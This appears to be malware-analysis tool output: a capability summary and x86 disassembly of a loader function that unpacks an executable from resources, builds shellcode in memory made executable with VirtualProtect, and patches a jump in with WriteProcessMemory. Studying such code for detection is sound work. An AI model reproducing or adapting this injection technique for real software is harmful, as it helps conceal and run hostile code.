Function at 0x4018dc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbbc
push ebx
push esi
push edi
mov esi, 0x453360
mov eax, 0x44f854
call fcn.004051b4
mov edx, dword [0x452dd4]
xor ebx, ebx
mov dword [ebp - 0x34], edx
push str.xxsim_nsyt_usb2
push 1
push 1
push 0
call sub.KERNEL32.DLL_CreateSemaphoreA
mov dword [0x453088], eax
call fcn.00401ce0
sub eax, 6
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0x424]
push edx
lea ecx, [ebp - 0x320]
push ecx
push 0
call fcn.00401580
add esp, 0x10
test eax, eax
je 0x401c70
mov eax, dword [0x453088]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 0x320], 0
je 0x40198a
mov word [ebp - 0x18], 8
lea edx, [ebp - 4]
push edx
call fcn.004032cc
pop ecx
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 0x14
dec dword [ebp - 0xc]
push 2
lea ecx, [ebp - 4]
push ecx
call fcn.00403320
mov word [ebp - 0x18], 0
add esp, 8
push 0x2c8
lea eax, [ebp - 0x320]
push eax
push 0x453098
call fcn.00404e2c
add esp, 0xc
push esi
mov esi, 0x44f3ac
lea edi, [ebp - 0x444]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
push 0x2c8
lea eax, [ebp - 0x444]
push eax
push 0x64
push 0x453098
call fcn.004035b8
add esp, 0x10
cmp byte [ebp - 0x314], 0
je 0x4019fa
cmp byte [ebp - 0x31e], 2
je 0x4019fa
mov ecx, 0x453098
mov edx, 0xb1
push dword [ecx + edx*4]
dec edx
jns 0x4019ee
call dword [0x452e44]
push 0x453098
call dword [0x452e74]
sub dword [ebp - 0x3c], 0x2c8
cmp byte [ebp - 0x318], 0
je 0x401a55
mov eax, dword [0x44f378]
push eax
call fcn.0040bf0c
pop ecx
mov dword [ebp - 0x44], eax
push 4
push 0x1000
mov edx, dword [ebp - 0x44]
push edx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x44]
push eax
push edi
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [0x44f378]
push ecx
call fcn.0040be8c
add esp, 0x10
mov dword [ebp - 0x3c], eax
jmp 0x401a7d
push 4
push 0x1000
mov eax, dword [ebp - 0x3c]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
mov eax, dword [ebp - 0x3c]
push eax
mov edx, dword [0x44f378]
push edx
push edi
call fcn.00404e2c
add esp, 0xc
cmp dword [0x453378], 0
je 0x401a99
push 0x8000
push 0
mov ecx, dword [0x44f378]
push ecx
call sub.KERNEL32.DLL_VirtualFree
lea eax, [ebp - 0x424]
push eax
lea edx, [ebp - 0x38]
push edx
lea ecx, [ebp - 0x30]
push ecx
mov eax, dword [ebp - 0x3c]
push eax
push ebx
push edi
call fcn.00401d64
add esp, 0x18
test eax, eax
jne 0x401ad8
push 0x8000
push 0
push edi
call sub.KERNEL32.DLL_VirtualFree
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401c8f
push 0x8000
push 0
push edi
call sub.KERNEL32.DLL_VirtualFree
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 0x48], eax
call fcn.004018c0
mov dword [0x45308c], eax
mov ecx, 0x45308c
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x2c]
push eax
push 0x40
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp - 0x34]
push ecx
call sub.KERNEL32.DLL_VirtualProtect
test eax, eax
jne 0x401b27
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401c8f
push 0x40
push 0x1000
push 0x64
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edi, eax
xor ebx, ebx
mov dword [esi], edi
lea eax, [ebp - 0x30]
mov byte [edi + ebx], 0x6a
inc ebx
mov byte [edi + ebx], 0
inc ebx
mov byte [edi + ebx], 0x68
inc ebx
push 4
push eax
add edi, ebx
push edi
call fcn.00404e2c
add esp, 0xc
add ebx, 4
mov eax, dword [esi]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push 0x453080
add eax, ebx
push eax
call fcn.00404e2c
add ebx, 4
mov eax, dword [esi]
add esp, 0xc
lea edx, [ebp - 0x34]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00404e2c
add ebx, 4
mov eax, dword [esi]
add esp, 0xc
lea edx, [ebp - 0x48]
mov byte [eax + ebx], 0x68
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00404e2c
mov eax, dword [esi]
add ebx, 4
add esp, 0xc
lea edx, [ebp - 0x4c]
mov byte [eax + ebx], 0xff
inc ebx
mov byte [eax + ebx], 0x15
inc ebx
push 4
push edx
add eax, ebx
push eax
call fcn.00404e2c
mov eax, dword [esi]
add ebx, 4
add esp, 0xc
mov byte [eax + ebx], 0x8b
inc ebx
mov byte [eax + ebx], 0xe5
inc ebx
mov byte [eax + ebx], 0x5d
inc ebx
mov byte [eax + ebx], 0x8b
inc ebx
mov byte [eax + ebx], 0xe5
inc ebx
mov byte [eax + ebx], 0x5d
inc ebx
mov byte [eax + ebx], 0x83
inc ebx
mov byte [eax + ebx], 0xc4
inc ebx
mov byte [eax + ebx], 8
inc ebx
mov byte [eax + ebx], 0xe9
inc ebx
mov edx, dword [ebp - 0x40]
mov ecx, dword [esi]
sub ecx, edx
mov edi, edx
sub ecx, 5
mov edx, dword [ebp - 0x31c]
mov dword [0x453090], ecx
add edx, dword [0x452dd4]
mov dword [ebp - 0x38], edx
lea edx, [ebx + 4]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [esi]
sub ecx, edx
add ebx, eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x50]
push 4
push ecx
push ebx
call fcn.00404e2c
add esp, 0xc
lea eax, [ebp - 0x57]
mov byte [ebp - 0x58], 0xe9
push 4
push 0x453090
push eax
call fcn.00404e2c
add esp, 0xc
lea eax, [ebp - 0x58]
push 0
push 5
push eax
push edi
mov edx, dword [ebp - 0x48]
push edx
call sub.KERNEL32.DLL_WriteProcessMemory
jmp 0x401c83
push 0x10
push 0x44f4ba
push str.Cant_load_Exe_from_Res_
push 0
call sub.USER32.DLL_MessageBoxA
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret